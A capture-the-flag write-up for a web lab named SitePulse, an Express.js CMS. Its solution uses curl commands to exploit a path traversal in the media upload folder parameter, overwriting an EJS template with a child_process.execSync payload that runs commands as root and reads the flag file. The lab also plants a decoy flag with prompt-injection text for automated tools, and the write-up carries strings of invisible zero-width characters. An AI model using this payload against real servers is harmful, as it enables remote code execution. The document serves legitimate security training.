← Back to Writeups
CUSTOMMediumWeb

Lab 164 — SitePulse

XESXOR9/2/20264 min read
#web#custom#medium#child_process_exec#decoy_flag_recognition#ejs_template_overwrite_to_rce#path_traversal_via_folder_para

Lab 164 — SitePulse

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_exec, decoy_flag_recognition, ejs_template_overwrite_to_rce, path_traversal_via_folder_parameter

Summary

Walkthrough of the CUSTOM Web Lab 164 — SitePulse. Task: Express.js CMS (SitePulse) with media upload feature accepting a folder parameter and EJS-based custom page rendering. Solution: Path traversal in the folder parameter (../templates) overwrites

Description

SitePulse is a modern content management platform used by marketing teams at Pulse Digital Co. to manage blog posts, media assets, and custom landing pages. The platform features a rich media library with folder-based organization, a custom page builder with EJS template support, and role-based access for team collaboration.

You've been given access to a staging instance of SitePulse running internally. The development team recently shipped a new media upload feature with folder organization, and there are whispers that the implementation was rushed to meet a deadline.

Your objective is to find a way to read the flag stored on the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js CMS with EJS templating, media upload with folder organization, and custom pages rendered from EJS templates on disk. Goal is to read the flag from the server.

Analysis

Application Reconnaissance

  • Stack: Express.js backend with EJS templating engine (SitePulse v2.4.1), behind nginx/1.25.5
  • Auth: Logged in as Marcus Chen (editor role) with user@test.com / password123
  • Key endpoints: Dashboard (/), Posts (/posts), Media (/media), Pages (/pages), Settings (/settings)
  • Custom Pages: Use EJS templates (about.ejs, contact.ejs, careers.ejs) rendered at /page/<slug>
  • Pages info box: "Custom pages are rendered from EJS templates stored on the server. Each page is accessible at /page/{slug}." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Media Upload Feature

The media upload endpoint at POST /api/media/upload accepts multipart form data with two parameters:

  • file — the uploaded file
  • folder — destination subfolder (intended values: images, documents, branding)

Files are served at /uploads/<folder>/<filename> and stored on disk at /app/data/uploads/<folder>/<filename>.

Decoy Flag (Honeypot)

The HTML source contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden <div> elements and HTML comments with prompt injection text designed to trick automated tools. This is NOT the real flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability: Path Traversal in Folder Parameter

The folder parameter allows path traversal using ../ sequences. The server has partial protection — it blocks double traversal ../.. (returns HTTP 500) — but allows a single ../ followed by a subdirectory name.

Directory Structure

/app/data/
├── uploads/          ← media upload destination
│   ├── images/
│   ├── documents/
│   └── branding/
└── templates/        ← EJS page templates (about.ejs, contact.ejs, careers.ejs)

Since templates are stored at /app/data/templates/ (a sibling of /app/data/uploads/), only a single level of traversal is needed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/app/data/uploads/../templates = /app/data/templates/

This means folder=../templates writes uploaded files directly into the EJS templates directory, allowing overwrite of any page template.

Solution

Step 1: Login and Obtain Session Cookie

bash
URL="https://0fc031f8-c0f8-4d53-917b-b372a3f93d04.labs.hackadvisor.io"
curl -sk -c cookies.txt "$URL/login" -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

Step 2: Confirm Path Traversal by Overwriting a Template

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Upload a simple HTML file as about.ejs with folder=../templates:

bash
echo '<h1>OVERWRITE_TEST</h1>' > about.ejs

curl -sk -b cookies.txt "$URL/api/media/upload" -X POST \
  -F "file=@about.ejs;filename=about.ejs" \
  -F "folder=../templates"
# Response: {"success":true,"message":"File uploaded successfully"}

curl -sk -b cookies.txt "$URL/page/about"
# Response: <h1>OVERWRITE_TEST</h1>  ← template successfully overwritten!

Step 3: Escalate to RCE via EJS Template Injection

Create about.ejs with an EJS payload that uses Node.js child_process to execute system commands: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

ejs
<h1>RCE Test</h1>
<pre><%- global.process.mainModule.require('child_process').execSync('id').toString() %></pre>

Upload and trigger:

bash
curl -sk -b cookies.txt "$URL/api/media/upload" -X POST \
  -F "file=@about.ejs;filename=about.ejs" \
  -F "folder=../templates"

curl -sk -b cookies.txt "$URL/page/about"
# Response: uid=0(root) gid=0(root) groups=0(root)...

The application is running as root.

Step 4: Read the Flag

ejs
<pre><%- global.process.mainModule.require('child_process').execSync('cat /root/flag.txt').toString() %></pre>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -sk -b cookies.txt "$URL/api/media/upload" -X POST \
  -F "file=@about.ejs;filename=about.ejs" \
  -F "folder=../templates"

curl -sk -b cookies.txt "$URL/page/about"
# Response: FLAG{REDACTED}

Failed Attempts

  • Wrong directory paths: ../views/pages, ../pages, ../data/pages, ../../views/pages, ../content/pages, ../views/layouts — none reached the actual templates directory
  • Double traversal blocked: ../.. returns HTTP 500 — server has a check for consecutive .. sequences
  • Backslash bypass: ..\/.. and ..\\..\ bypass the string check but don't traverse on Linux (backslash is a literal character)
  • URL-encoded variants: ..%2f.. treated as literal characters in multipart form data, not decoded as path separators
  • Key breakthrough: Discovering that templates live at /app/data/templates/ (sibling of uploads/), requiring only a single ../templates traversal that passes the server's filter ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering child_process_exec, decoy_flag_recognition, ejs_template_overwrite_to_rce, path_traversal_via_folder_parameter was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 164 — SitePulse • Difficulty: Medium